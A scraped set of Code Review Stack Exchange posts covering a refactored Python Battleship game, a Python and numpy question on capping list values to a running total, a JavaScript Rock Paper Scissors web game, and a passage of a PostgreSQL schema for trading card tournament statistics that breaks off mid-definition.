{
"body": "<h1>Preface</h1>\n<p>At first glance, your code is unnecessarily convoluted. I see that you tagged the question as beginner, so I'll cut you some slack. But as a general warning, if you're developing a simple application/game, and you have a nesting of <code>if/else</code> <strong>15</strong> indentations deep(!!!), you should take another look at your logic.</p>\n<p>That being said, I had fun playing your game and rewriting it! I got the line count from <code>537</code> to ~<code>180</code>. This is going to be an extensive, but not exhaustive, answer about things I changed in your program, why I made those changes, among other things.</p>\n<p>I'm going to post the entire new code, and go through each function narrating the changes I've made and why.</p>\n<h1>Updated Code</h1>\n<pre><code>import random\nimport sys\nfrom threading import Thread\nimport keyring\nfrom typing import List\n\nmaster_break = keyring.get_password('ship', 'break')\nenable = keyring.get_password('ship', 'enable')\nactivate = keyring.get_password('ship', 'activate')\n\nDIMENSION = 8 # Dimension for battleship board\npicked_columns = []\n\ndef hit(row: int, col: int, board: List[List[str]]) -> str:\n if board[row][col] == 'C': return 'C'\n if board[row][col] == 'B': return 'B'\n if board[row][col] == 'D': return 'D'\n return 'M'\n\ndef ships_down(board: List[List[str]]) -> (bool, bool, bool, bool):\n c, b, d, count = 0, 0, 0, 0\n for row in range(DIMENSION):\n for col in range(DIMENSION):\n value = board[row][col]\n if value in 'CBD': count += 1\n if value == 'C': c += 1\n if value == 'B': b += 1\n if value == 'D': d += 1\n \n return c == 0, b == 0, d == 0, count == 0\n\ndef random_col():\n while True:\n column = random.randint(0, 7)\n if column not in picked_columns:\n picked_columns.append(column)\n return column\n\n\ndef generate_board() -> List[List[str]]:\n board = [['O'] * DIMENSION for _ in range(DIMENSION)]\n \n # Carrier\n col = random_col()\n row = random.randint(0, 3)\n for idx in range(5): # 5 = carrier length\n board[row + idx][col] = 'C'\n\n # Battleship\n col = random_col()\n row = random.randint(0, 4)\n for idx in range(4): # 4 = battleship length\n board[row + idx][col] = 'B'\n\n # Destroyer\n col = random_col()\n row = random.randint(0, 5)\n for idx in range(3): # 4 = destroyer length\n board[row + idx][col] = 'D'\n\n return board\n\n\ndef print_board(board: List[List[str]]) -> None:\n x = 1\n print(' A B C D E F G H')\n print()\n for row in board:\n print(x, ' ', ' | '.join(row))\n print(' ', ' -' * 15)\n x += 1\n\n\ndef battleship():\n\n print('This is Battleship.')\n print('Hits are marked with (H) and misses are marked with (M).')\n print("If you miss too many times, you lose.")\n\n nuke_enabled = False\n\n while True:\n try:\n diff = input('What difficulty would you like (1-3): ')\n if diff == enable:\n nuke_enabled = True\n print('Nukes have been enabled.')\n if diff == master_break:\n sys.exit()\n diff = int(diff)\n except ValueError:\n if not nuke_enabled:\n print('Invalid format.')\n else:\n pass\n else:\n break\n\n board = [['O'] * DIMENSION for _ in range(DIMENSION)]\n nuke_board = [['N'] * DIMENSION for _ in range(DIMENSION)]\n\n print("Let's play Battleship!")\n print()\n print_board(board)\n\n carrier_sunk = False\n battleship_sunk = False\n destroyer_sunk = False\n \n true_board = generate_board()\n\n turns = 12 - diff\n while turns > 0:\n\n carrier_down, battleship_down, destroyer_down, win = ships_down(true_board)\n\n if win:\n print('You win!')\n sys.exit()\n if carrier_down and not carrier_sunk:\n print('You sunk the carrier!')\n carrier_sunk = True\n if battleship_down and not battleship_sunk:\n print('You sunk the battleship!')\n battleship_sunk = True\n if destroyer_down and not destroyer_sunk:\n print('You sunk the destroyer!')\n destroyer_sunk = True\n\n guess = input('Guess coordinate: ').lower()\n if len(guess) != 2:\n print('Invalid input: Please only enter one letter and one number!')\n no_exceptions = False\n if guess == master_break:\n sys.exit()\n if guess == activate:\n if nuke_enabled:\n print("NUKE EM' ALL!")\n print()\n print_board(nuke_board)\n print('You sunk the carrier!')\n print('You sunk the battleship!')\n print('You sunk the destroyer!')\n print('You win! (by using cheats, but WHO CARES!)')\n sys.exit()\n else:\n print('Nukes are not enabled.')\n\n try:\n guess_row = int(guess[1]) - 1\n guess_col = int(ord(guess[0]) - 96) - 1\n if guess[0] not in "abcdefgh":\n print('Invalid letter: Please only enter ABCDEFGH.')\n continue\n if int(guess[1]) < 0 or int(guess[1]) > DIMENSION:\n print('Invalid number: Please only enter 12345678.')\n continue\n except ValueError:\n if not nuke_enabled:\n print('Invalid format.')\n else:\n pass\n except IndexError:\n if not nuke_enabled:\n print('Invalid format.')\n else:\n pass\n else:\n no_exceptions = True\n \n if not nuke_enabled and no_exceptions:\n result = hit(guess_row, guess_col, true_board)\n if result in 'CBD':\n if result == 'C': print('Hit on the carrier!')\n if result == 'B': print('Hit on the battleship!')\n if result == 'D': print('Hit on the destroyer!')\n board[guess_row][guess_col] = 'H'\n true_board[guess_row][guess_col] = 'H'\n print_board(board)\n else:\n turns -= 1\n print(f'You missed! You have {turns} guesses left.')\n board[guess_row][guess_col] = 'M'\n print_board(board)\n\n\nif __name__ == '__main__':\n a = Thread(target=battleship, daemon=True)\n a.start()\n a.join()\n</code></pre>\n<h1>General Construction</h1>\n<p>The first thing I noticed is that the entire program is contained within 1 function. Personally, this isn't the path I would recommend. I would write utility functions (<code>print_board</code>, for example) outside of the main game function. Then inside the game loop, I would use these functions. Having all those functions defined in the main game function decreases readability and adds an unnecessary level of indentation.</p>\n<p>The new code is significantly different from your code. We use two boards, the board the player sees <code>board</code>, and the actual board where the ships are stored <code>true_board</code>. With this, we can check the users guess against the actual board, and display results on the board the player sees. The actual board has identifiers for the carrier, battleship and destroyer ('C', 'B', 'D' respectfully). This allows us a much easier way to check for hits against certain ships.</p>\n<h1><code>hit</code></h1>\n<pre><code>def hit(row: int, col: int, board: List[List[str]]) -> str:\n if board[row][col] == 'C': return 'C'\n if board[row][col] == 'B': return 'B'\n if board[row][col] == 'D': return 'D'\n return 'M'\n</code></pre>\n<p>This function determines if the user has hit a ship on the board. It accepts a row, a column, and the actual board where the ships are stored (<code>true_board</code>). It grabs the value of the board at that row and column, and determines if the user has hit a boat or not. If so, it returns the identifier of the boat the user has hit.</p>\n<p>You may notice the type annotations in the function parameters. These show us the type of parameters a function accepts, and what a function returns (in this case, a 'str'). So <code>board</code> is a list of list of strings, or a 2D array of strings.</p>\n<h1><code>ships_down</code></h1>\n<pre><code>def ships_down(board: List[List[str]]) -> (bool, bool, bool, bool):\n c, b, d, count = 0, 0, 0, 0\n for row in range(DIMENSION):\n for col in range(DIMENSION):\n value = board[row][col]\n if value in 'CBD': count += 1\n if value == 'C': c += 1\n if value == 'B': b += 1\n if value == 'D': d += 1\n \n return c == 0, b == 0, d == 0, count == 0\n</code></pre>\n<p>This function determines the current status of each ship on the board. It returns four booleans, each one representing the status of a ship. It iterates through the board, and it counts each identifier of a ship found. It then returns the amount of these identifiers against the value 0, which results to a boolean for each ship. For a winning board position, this function will return <code>(True, True, True, True)</code>. That may have been hard to understand, so take another look at the updated code if you need to.</p>\n<h1><code>random_col</code></h1>\n<pre><code>def random_col():\n while True:\n column = random.randint(0, 7)\n if column not in picked_columns:\n picked_columns.append(column)\n return column\n</code></pre>\n<p>I've edited this function a bit so it only returns columns that haven't been chosen already. Leaving the responsibility of the function to return correct columns instead of the main game loop having that responsibility helps reduce the complexity of the program. Now, you don't need to check if this function is returning a correct value, because the function does that itself.</p>\n<h1><code>generate_board</code></h1>\n<pre><code>def generate_board() -> List[List[str]]:\n board = [['O'] * DIMENSION for _ in range(DIMENSION)]\n \n # Carrier\n col = random_col()\n row = random.randint(0, 3)\n for idx in range(5): # 5 = carrier length\n board[row + idx][col] = 'C'\n\n # Battleship\n col = random_col()\n row = random.randint(0, 4)\n for idx in range(4): # 4 = battleship length\n board[row + idx][col] = 'B'\n\n # Destroyer\n col = random_col()\n row = random.randint(0, 5)\n for idx in range(3): # 4 = destroyer length\n board[row + idx][col] = 'D'\n\n return board\n</code></pre>\n<p>This function is a ~20 line response to your ~100 line solution to "generating" a game board. For each ship, it generates a random unused column, a random row (this is determined by the length of the ship. A carrier only gets a range of [0, 3) because of its length of 5, while the destroyer gets a range of [0, 5) because it's only 3 units long), and sets identifiers in the board for the ship. We do <code>row + idx</code> because we need to go down the column for each unit of the ship.</p>\n<h1><code>print_board</code></h1>\n<p>This function was not changed.</p>\n<h1><code>battleship</code></h1>\n<p>I'm not going to include code for this as all of it is at the top of the answer. The biggest difference here is that this function has the sole purpose of managing and calling the other functions. All it really does it get and validate input, checks for values returned by the <code>ships_down</code> function, and checks for values returned by the <code>hit</code> function.</p>\n<p>This separation of responsibilities is a huge part of programming. Knowing which parts of a program should have their own function is key to writing good, efficient, and nice looking code.</p>\n<p>Instead of checking the bounds of each ship, we call the <code>hit</code> function and analyze the identifier returned. Since the code for setting the <code>board</code> and <code>true_board</code> is the exact same for each ship hit, we only check the specific ship hit for the print statements.</p>\n<h1>General Feedback</h1>\n<h2>Bugs</h2>\n<p>If I enter <code>A9</code>, I get an IndexError, which crashes the game. As a user, my first reaction is that the game is broken and I stop playing. The same happens if I enter an invalid letter like <code>T4</code>. You need to assume the user will never enter valid input. Always write checks to ensure that user input doesn't break your code.</p>\n<p>For the error checking that you do have, your messages are not descriptive. <code>"Invalid Format."</code>. Okay, what does that tell me as a user? What about my input was invalid? Having descriptive message helps the user understand what they did wrong, and can even help you when debugging your program.</p>\n<h2>Threading</h2>\n<p>For threading, you can specify a daemon thread in the <code>Thread</code> constructor.</p>\n<pre><code>a = Thread(target=battleship, daemon=True)\n</code></pre>\n<h2>Boolean Checking</h2>\n<p>When you're checking for true/false values, you don't need to do <code>if value == True:</code>. You can evaluate the variable itself with <code>if value:</code> for true, and <code>if not value:</code> for false. <a href=\"https://switowski.com/blog/checking-for-true-or-false\" rel=\"nofollow noreferrer\">Here's</a> a good article about this.</p>\n<h2>Comments</h2>\n<p>Your code has zero comments. When writing a program, you need to think about the people who will read it too. Not everyone will read your code and understand it the same way you did while writing it. Use comments to explain algorithms, design decisions and other complicated logic to help readers better understand how your code works.</p>\n<h2>Weird Variables</h2>\n<p><code>test_var</code> and <code>not_enabled</code> stuck out to me while rewriting your code. I spent a good 10 minutes wondering how this fit into your code. It turns out <code>test_var</code> was only used to determine if any exceptions were called, and <code>not_enabled</code> was an unnecessary replication of the <code>nuke_enabled</code> variable. When designing a program, think about how you can reuse variables later on, instead of creating new ones for the exact same purpose.</p>\n<h2>Unnecessary Functions</h2>\n<p><code>split</code>, in itself, is unnecessary. When you get coordinates from the user, you only expect a string of length two. You can just index the string itself instead of calling the split function and indexing the list that it returns.</p>\n<p>Before rewriting, <code>random_col</code> was unnecessary. It was one line, which just generated a random number. You could have replaced every occurrence of <code>random_col</code> with the one line it contained, and saved people the trouble of going back to this function while reading your code.</p>\n<h1>Main Guard</h1>\n<p>You should wrap your starting code in a main guard, in the event you want to import this code into another project. This prevents this code from running when you import.</p>\n<pre><code>if __name__ == '__main__':\n a = Thread(target=battleship, daemon=True)\n a.start()\n a.join()\n</code></pre>\n<p>Here's a <a href=\"https://stackoverflow.com/questions/419163/what-does-if-name-main-do\">Stack Overflow question</a> that beautifully explains this.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-05T18:47:58.077",
"Id": "514027",
"Score": "0",
"body": "+1 for the extensive improvements. You could make `hit` more readable/maintainable by replacing the multiple `if` statements by a membership test: `if board[row][col] in {'B', 'C', 'D'}: return board[row][col]` or `if board[row][col] in 'BCD': return board[row][col]`"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T06:25:44.877",
"Id": "260245",
"ParentId": "260047",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "260245",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-26T20:04:52.110",
"Id": "260047",
"Score": "4",
"Tags": [
"python",
"beginner",
"python-3.x",
"battleship"
],
"Title": "Python Battleship"
}
|
260047
|
<p>I want to implement a function <code>take_upto_n(A, n)</code>
such that for e.g.</p>
<pre><code>take_upto_n([1,2,3,4], 8) returns [1,2,3,2]
take_upto_n([1,2,4,3], 8) returns [1,2,4,1]
take_upto_n([1,2,3,4], 100) returns [1,2,3,4]
take_upto_n([1,2,3,4], 3) returns [1,2,0,0]
</code></pre>
<p>Assume <code>A</code> contains non-negative values only. n is also non-negative</p>
<p>This is straightforward with a loop</p>
<pre><code>def take_upto_n(A, n):
out = []
for x in A:
out += [min(n, x)]
n -= min(n, x)
return out
</code></pre>
<p>We can also do this with numpy, but this I.M.O. is fairly unreadable:</p>
<pre><code>def take_upto_n(A, n):
A = np.array(A)
return np.clip(n + A - np.cumsum(A), 0, A)
</code></pre>
<p>Is there some standard function that does this - couldn't find it myself (or didn't know how to search)?</p>
<p>If there isn't any such function, any advice on how to make it not look like "what is this?" (the <code>n + A - np.cumsum(A)</code> is the real killer)?</p>
|
[] |
[
{
"body": "<p>Your regular Python implementation generally looks reasonable, and unless numpy\noffers a performance boost that you really need, I would not recommend it for\nthis use case: the brevity/clarity tradeoff seems bad.</p>\n<p>My biggest suggestion is to consider clearer names. A function with signature\nof <code>take_upto_n(A, n)</code> makes me think the function takes an iterable and\nreturns a sequence of <code>n</code> values. Something like <code>take_upto_sum(A, total)</code>\nseems more communicative to me. And even "take" isn't quite right: take\nimplies a filtering process (we'll take some and leave some). But we\nare limiting or capping. Perhaps you can think of something even better.</p>\n<p>This example presents a classic Python dilemma: you want to do a simple map\nover a list to generate a new list, so of course you would like to knock it out\nin a comprehension or something equally cool. But while iterating,\nyou also need to modify some other variable to keep track of state, and Python\nmostly lacks the assignments-as-expression idiom that allows such trickery in\nother languages (for example, old-school Perl map/grep one-liners and their\nilk). If you are using a sufficiently modern Python, you can use the walrus\noperator to compress the code a bit, but it doesn't get you all the way there.\nHonestly, I wouldn't even bother with the walrus (but I would assign <code>min()</code> to\na convenience variable to avoid repetition and thus help readability). In any\ncase, the walrus approach:</p>\n<pre><code>def take_upto_sum(A, total):\n out = []\n for x in A:\n out.append(y := min(total, x))\n total -= y\n return out\n</code></pre>\n<p>I suppose it is possible to express this as a single list comprehension if we\ntake advantage of the built-in <code>itertools</code> and <code>operator</code> modules. Like the\nnumpy solution, this approach reminds me of the Spinal Tap quote: <em>It's such a\nfine line between stupid, and uh ... clever</em>.</p>\n<pre><code>from itertools import accumulate\nfrom operator import sub\n\ndef take_upto_sum(A, total):\n return [\n max(min(x, acc), 0)\n for x, acc in zip(A, accumulate(A, sub, initial=total))\n ]\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-27T05:27:43.303",
"Id": "260061",
"ParentId": "260048",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "260061",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-26T20:39:30.807",
"Id": "260048",
"Score": "3",
"Tags": [
"python",
"numpy"
],
"Title": "Selecting a quantity from a list"
}
|
260048
|
<p>My latest project is a Rock Paper Scissors Game that I made in The Odin Project course. It's a web version, made with HTML, CSS and JS. I would appreciate to read your opninions, especially with regards to the JS.</p>
<p>The Game to play: <a href="https://amina-mari.github.io/rock-paper-scissors/" rel="nofollow noreferrer">https://amina-mari.github.io/rock-paper-scissors/</a></p>
<p>The HTML code:</p>
<pre><code><!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Rock Paper Scissors</title>
<link rel="stylesheet" href="styles/main.css">
</head>
<body>
<header class="header">
<h1 class="header__title">Rock Paper Scissors!</h1>
</header>
<main>
<section class="rules">
<h2>Rules</h2>
<ul class="rules__list">
<li class="rules__item">Rock beats Scissors</li>
<li class="rules__item">Paper beats Rock</li>
<li class="rules__item">Scissors beats Paper</li>
</ul>
</section>
<section class="game">
<h2 class="game__choose">Choose:</h2>
<button class="game__button" data-option="1">
<figure class="game__figure">
<div>
<img class="game__figure--img" src="images/icons8-rock-80.png" alt="">
</div>
<figcaption class="game__figure--figcaption">Rock</figcaption>
</figure>
</button>
<button class="game__button" data-option="2">
<figure class="game__figure">
<div>
<img class="game__figure--img" src="images/icons8-paper-64.png" alt="">
</div>
<figcaption class="game__figure--figcaption">Paper</figcaption>
</figure>
</button>
<button class="game__button" data-option="3">
<figure class="game__figure">
<div>
<img class="game__figure--img" src="images/icons8-cutting-96.png" alt="">
</div>
<figcaption class="game__figure--figcaption">Scissors</figcaption>
</figure>
</button>
<div class="game__scores">
<button class="game__scores--button">Scores</button>
</div>
</section>
</main>
<footer class="footer">
<p class="footer__content">Made with <img class="footer__img" src="images/icons8-heart-100.png" alt=""> by Mariana Amina</p>
</footer>
<script src="scripts/main.js"></script>
</body>
</html>
</code></pre>
<p>The JS code:</p>
<pre><code>/*
- Wait for button press
- If button is pressed
- Add 1 to number of matches
- Make a random choice to beat the user choice
- Show the result in a new div
- If the user wins, add 1 to the score
- If the user draws, add 1 to draws
- If the user loses, add 1 to loses
- Ask if the user want to play again
- If it is true, go back to line 2
Future Tasks:
- Translate to Portuguese
- Add Multiplayer Mode
*/
// function showComputerOption(computerOption) {
// let arrayOptions = ["Rock", "Paper", "Scissors"];
// alert("Computer choosed " + arrayOptions[computerOption - 1]);
// }
let scoresButton = document.querySelector('.game__scores--button');
scoresButton.addEventListener('mousedown', showScores);
let divScores = document.createElement('div');
divScores.classList.add('game__scores--div');
let scoresCloseButton = document.createElement('button');
let scoresCloseButtonImg = document.createElement('img');
scoresCloseButtonImg.setAttribute('src', 'images/close.png');
scoresCloseButton.appendChild(scoresCloseButtonImg);
scoresCloseButton.addEventListener('mousedown', function() {
divScores.classList.add('game__scores--closed');
});
let divWins = document.createElement('div');
let winsPara = document.createElement('p');
winsPara.textContent = "Wins";
let winsCount = document.createElement('p');
divWins.appendChild(winsPara);
divWins.appendChild(winsCount);
let divDraws = document.createElement('div');
let drawsPara = document.createElement('p');
drawsPara.textContent = "Draws";
let drawsCount = document.createElement('p');
divDraws.appendChild(drawsPara);
divDraws.appendChild(drawsCount);
let divLoses = document.createElement('div');
let losesPara = document.createElement('p');
losesPara.textContent = "Loses";
let losesCount = document.createElement('p');
divLoses.appendChild(losesPara);
divLoses.appendChild(losesCount);
divScores.appendChild(scoresCloseButton);
divScores.appendChild(divWins);
divScores.appendChild(divDraws);
divScores.appendChild(divLoses);
let matchNumber = 0;
let score = 0;
let computerScore = 0;
let draws = 0;
// Div to show match result
let divGame = document.querySelector(".game");
let matchResult = document.createElement("div");
matchResult.classList.add("game__result");
let paraResult = document.createElement('p');
let closeButton = document.createElement('button');
let closeImg = document.createElement("img")
closeImg.setAttribute('src', 'images/close.png');
closeButton.appendChild(closeImg);
let divUserChoice = document.createElement('div');
let paraUserChoice = document.createElement('p');
paraUserChoice.textContent = "User Choice";
divUserChoice.appendChild(paraUserChoice);
let figUserChoice = document.createElement('figure');
let imgUserChoice = document.createElement('img');
let figcaptionUserChoice = document.createElement('figcaption');
figUserChoice.appendChild(imgUserChoice);
figUserChoice.appendChild(figcaptionUserChoice);
divUserChoice.appendChild(figUserChoice);
/* img src and figcaption textContent is setted in the showWinLoseDraw function */
let divCPUChoice = document.createElement('div');
let paraCPUChoice = document.createElement('p');
paraCPUChoice.textContent = "Computer Choice";
divCPUChoice.appendChild(paraCPUChoice);
let figCPUChoice = document.createElement('figure');
let imgCPUChoice = document.createElement('img');
let figcaptionCPUChoice = document.createElement('figcaption');
figCPUChoice.appendChild(imgCPUChoice);
figCPUChoice.appendChild(figcaptionCPUChoice);
divCPUChoice.appendChild(figCPUChoice);
let paraVersus = document.createElement('p');
paraVersus.classList.add('versus')
paraVersus.textContent = "VS";
matchResult.appendChild(closeButton)
matchResult.appendChild(paraResult);
matchResult.appendChild(divUserChoice);
matchResult.appendChild(paraVersus);
matchResult.appendChild(divCPUChoice);
closeButton.addEventListener('click', function(event){
event.currentTarget.parentNode.classList.add('game__result--closed');
})
/*
<div>
<p>User Choice</p>
<figure>
<img>
<figcation></figcaption>
</figure>
</div>
<p>VS</p>
<div>
<p>Computer Choice</p>
<figure>
<img>
<figcation></figcaption>
</figure>
</div>
*/
function showWinLoseDraw(option, computerOption) {
if (option == 1) {
figcaptionUserChoice.textContent = "Rock";
imgUserChoice.setAttribute('src', "images/icons8-rock-80.png");
if (computerOption == 2) {
figcaptionCPUChoice.textContent = "Paper";
imgCPUChoice.setAttribute('src', "images/icons8-paper-64.png");
paraResult.textContent = 'Oh no, you lose';
computerScore++;
}
else if (computerOption == 3) {
figcaptionCPUChoice.textContent = "Scissors";
imgCPUChoice.setAttribute('src', "images/icons8-cutting-96.png");
paraResult.textContent = 'Yay! You won!';
score++;
}
else {
figcaptionCPUChoice.textContent = "Rock";
imgCPUChoice.setAttribute('src', "images/icons8-rock-80.png");
paraResult.textContent = 'It\'s a draw';
draws++;
}
}
else if (option == 2) {
figcaptionUserChoice.textContent = "Paper";
imgUserChoice.setAttribute('src', "images/icons8-paper-64.png");
if (computerOption == 1) {
figcaptionCPUChoice.textContent = "Rock";
imgCPUChoice.setAttribute('src', "images/icons8-rock-80.png");
paraResult.textContent = 'Yay! You won!';
score++;
}
else if (computerOption == 3) {
figcaptionCPUChoice.textContent = "Scissors";
imgCPUChoice.setAttribute('src', "images/icons8-cutting-96.png");
paraResult.textContent = 'Oh no, you lose';
computerScore++;
}
else {
figcaptionCPUChoice.textContent = "Paper";
imgCPUChoice.setAttribute('src', "images/icons8-paper-64.png");
paraResult.textContent = 'It\'s a draw';
draws++;
}
}
else {
figcaptionUserChoice.textContent = "Scissors";
imgUserChoice.setAttribute('src', "images/icons8-cutting-96.png");
if (computerOption == 1) {
figcaptionCPUChoice.textContent = "Rock";
imgCPUChoice.setAttribute('src', "images/icons8-rock-80.png");
paraResult.textContent = 'Oh no, you lose';
computerScore++;
}
else if (computerOption == 2) {
figcaptionCPUChoice.textContent = "Paper";
imgCPUChoice.setAttribute('src', "images/icons8-paper-64.png");
paraResult.textContent = 'Yay! You won!';
score++;
}
else {
figcaptionCPUChoice.textContent = "Scissors";
imgCPUChoice.setAttribute('src', "images/icons8-cutting-96.png");
paraResult.textContent = 'It\'s a draw';
draws++;
}
}
divGame.appendChild(matchResult);
}
function showScores() {
if(divScores.classList.contains('game__scores--closed')){
divScores.classList.remove('game__scores--closed');
}
winsCount.textContent = score;
drawsCount.textContent = draws;
losesCount.textContent = computerScore;
divGame.appendChild(divScores);
}
let buttons = document.querySelectorAll('.game__button')
buttons.forEach(button => button.addEventListener('mousedown', rockPaperScissors));
function rockPaperScissors(event) {
matchNumber++;
let buttonPressed = event.currentTarget;
let option = buttonPressed.getAttribute('data-option');
let computerOption = parseInt((Math.random() * 2).toFixed(0)) + 1;
if(matchResult.classList.contains('game__result--closed')){
matchResult.classList.remove("game__result--closed")
}
showWinLoseDraw(option, computerOption);
// if (checkValidOption(option)) {
// matchNumber++;
// showComputerOption(computerOption);
// showWinLoseDraw(option, computerOption);
// if (confirm("Wanna play again?")) {
// rockPaperScissors();
// } else {
// showScores();
// }
// } else {
// alert("You need to enter a valid option.")
// }
}
</code></pre>
<p>The CSS code:</p>
<pre><code>@import url('https://fonts.googleapis.com/css2?family=Montserrat:wght@300;400;500&display=swap');
@import url('https://fonts.googleapis.com/css2?family=Montserrat+Alternates:wght@500&display=swap');
* {
box-sizing: border-box;
}
body {
height: 100vh;
display: flex;
flex-direction: column;
justify-content: space-between;
padding: 0;
margin: 0;
font-family: 'Montserrat', serif;
}
.header {
background-color: lightseagreen;
height: 12vh;
display: flex;
align-items: center;
justify-content: center;
border-bottom: 5px solid rgb(119, 119, 119);
border-bottom-left-radius: 10px;
border-bottom-right-radius: 10px;
}
.header__title {
padding: 20px;
color: white;
font-size: 2.5rem;
font-family: 'Montserrat Alternates';
font-weight: 500;
}
main {
display: flex;
flex-direction: column;
align-items: center;
}
.rules {
width: 50%;
text-align: center;
background-color:rgb(255, 215, 163);
border-radius: 10px;
}
.rules__list {
list-style-type: none;
padding: 0;
font-size: 1.2rem;
}
.game {
width: 70%;
text-align: center;
display: flex;
flex-wrap: wrap;
justify-content: space-evenly;
}
.game__choose {
flex-basis: 100%;
font-size: 1.2rem;
}
.game__button {
position: relative;
width: 200px;
height: 200px;
margin-bottom: 20px;
border: 5px solid rgb(119, 119, 119);
border-radius: 10px;
outline: none;
background-color:rgb(255, 215, 163);
transition: all 0.4s;
font-weight: 500;
}
.game__button:hover {
cursor: pointer;
border-color: rgb(75, 75, 75);
background-color: rgb(255, 184, 92);
}
.game__button:active {
top: 5px;
}
.game__figure {
height: 100%;
margin: auto;
width: 70%;
display: flex;
flex-direction: column;
justify-content: space-around;
}
.game__figure > div {
width: 120px;
height: 120px;
border-radius: 50%;
background-color: white;
display: flex;
align-items: center;
justify-content: center;
}
.game__figure--img {
min-width: 70%;
min-width: 70%;
}
.game__figure--figcaption {
font-size: 20px;
}
.game__scores {
flex-basis: 100%;
}
.game__scores--button {
position: relative;
width: 300px;
height: 50px;
border: 5px solid rgb(119, 119, 119);
border-radius: 10px;
outline: none;
background-color:rgb(155, 253, 248);
transition: all 0.4s;
font-weight: 500;
font-size: 20px;
}
.game__scores--button:hover {
cursor: pointer;
border-color: rgb(75, 75, 75);
background-color: rgb(55, 190, 184);
}
.game__scores--button:active {
top: 5px;
}
.game__scores--div {
display: flex;
flex-wrap: wrap;
justify-content: space-evenly;
align-items: center;
background-color: white;
border: 5px solid rgb(119, 119, 119);
border-radius: 10px;
top: 12.5%;
position: fixed;
width: 70%;
height: 75%;
padding: 20px;
overflow-y: auto;
}
.game__scores--div button {
position: absolute;
width: 40px;
top: 20px;
right: 20px;
background-color: transparent;
border: none;
outline: none;
opacity: 0.7;
}
.game__scores--div button:hover {
cursor: pointer;
opacity: 1;
}
.game__scores--div button img {
width: 100%;
}
.game__scores--div div {
display: flex;
flex-direction: column;
align-items: center;
justify-content: space-evenly;
width: 200px;
height: 200px;
border: 5px solid rgb(119, 119, 119);
border-radius: 10px;
background-color:rgb(255, 215, 163);
font-weight: 500;
font-size: 20px;
}
.game__scores--closed {
display: none;
}
.game__result {
display: flex;
flex-wrap: wrap;
justify-content: space-evenly;
align-items: center;
background-color: white;
border: 5px solid rgb(119, 119, 119);
border-radius: 10px;
top: 12.5%;
position: fixed;
width: 70%;
height: 75%;
padding: 20px;
overflow-y: auto;
}
.game__result > p {
flex-basis: 100%;
margin-bottom: 20px;
font-size: 20px;
}
.game__result .versus {
flex-basis: 25%;
font-size: 3rem;
color: rgb(119, 119, 119);
font-weight: bold;
}
.game__result button {
position: absolute;
width: 40px;
top: 20px;
right: 20px;
background-color: transparent;
border: none;
outline: none;
opacity: 0.7;
}
.game__result button:hover {
cursor: pointer;
opacity: 1;
}
.game__result button img {
width: 100%;
}
.game__result > div {
display: flex;
flex-direction: column;
align-items: center;
justify-content: space-evenly;
width: 250px;
height: 250px;
border: 5px solid rgb(119, 119, 119);
border-radius: 10px;
outline: none;
background-color:rgb(255, 215, 163);
font-weight: 500;
font-size: 20px;
}
.game__result div p {
font-size: 20px;
}
.game__result img {
width: 100px;
}
.game__result--closed {
display: none;
}
.footer {
text-align: center;
font-size: 1.2rem;
}
.footer__img {
font-family: monospace;
width: 25px;
vertical-align: bottom;
}
</code></pre>
|
[] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-26T21:52:00.713",
"Id": "260050",
"Score": "0",
"Tags": [
"javascript",
"html",
"css",
"dom",
"rock-paper-scissors"
],
"Title": "Rock Paper Scissors Game in JavaScript"
}
|
260050
|
<p>So there's another question about storing information about a trading card game, but in my situation I have to store not only raw tournament information but a lot of statistics I've extracted from it:</p>
<p><strong>Web Scraper > SQL Database</strong></p>
<p>Tournaments</p>
<ul>
<li>Format (different collections of cards available to use)</li>
<li>Competition Type (is it a knock-out tournament?)</li>
<li>Date it took place</li>
</ul>
<p>Decks</p>
<ul>
<li>Cards in them (each deck has two groups of cards: mainboard and sideboard)</li>
<li>Tournament it happened in</li>
<li>Wins and losses</li>
</ul>
<p><strong>SQL Database > Data Analysis > SQL Database</strong></p>
<p>Archetypes (group of similar decks, also referred to as clusters)</p>
<ul>
<li>Cards that show up very frequently throughout the archetype</li>
<li>Significant matchups against other archetypes, aka decks that it usually wins or loses against</li>
<li>The deck that is most representative of the whole archetype</li>
<li>Similar archetypes</li>
</ul>
<p>Cards</p>
<ul>
<li>Archetypes it's most commonly in</li>
<li>How many decks, regardless of archetype, use it</li>
<li>Cards it commonly co-occurs with</li>
</ul>
<p>The main difficulty of my database model for this is that there are numerous traps of many-to-many relationships that I needed to avoid. Without further ado, here's the code:</p>
<pre><code>CREATE TABLE tournaments (
id SERIAL PRIMARY KEY,
format VARCHAR,
gametype VARCHAR,
date DATE
);
CREATE TABLE decks (
id SERIAL PRIMARY KEY,
tournament INTEGER REFERENCES tournaments(id) ON DELETE CASCADE,
mainboard VARCHAR[],
sideboard VARCHAR[],
);
CREATE TABLE games (
winner INTEGER REFERENCES decks(id) ON DELETE CASCADE,
loser INTEGER REFERENCES decks(id) ON DELETE CASCADE,
);
CREATE TABLE clusters (
id SERIAL PRIMARY KEY,
mainboard VARCHAR[],
sideboard VARCHAR[],
highlights VARCHAR[],
size INTEGER
);
CREATE TABLE significantmatchups (
winner INTEGER REFERENCES clusters(id) ON DELETE CASCADE,
loser INTEGER REFERENCES clusters(id) ON DELETE CASCADE,
winrate DECIMAL
);
CREATE TABLE similarclusters (
clustera INTEGER REFERENCES clusters(id) ON DELETE CASCADE,
clusterb INTEGER REFERENCES clusters(id) ON DELETE CASCADE,
distance INTEGER
);
CREATE TABLE highlightcards (
cluster INTEGER REFERENCES clusters(id) ON DELETE CASCADE,
card INTEGER REFERENCES cards(id) ON DELETE CASCADE,
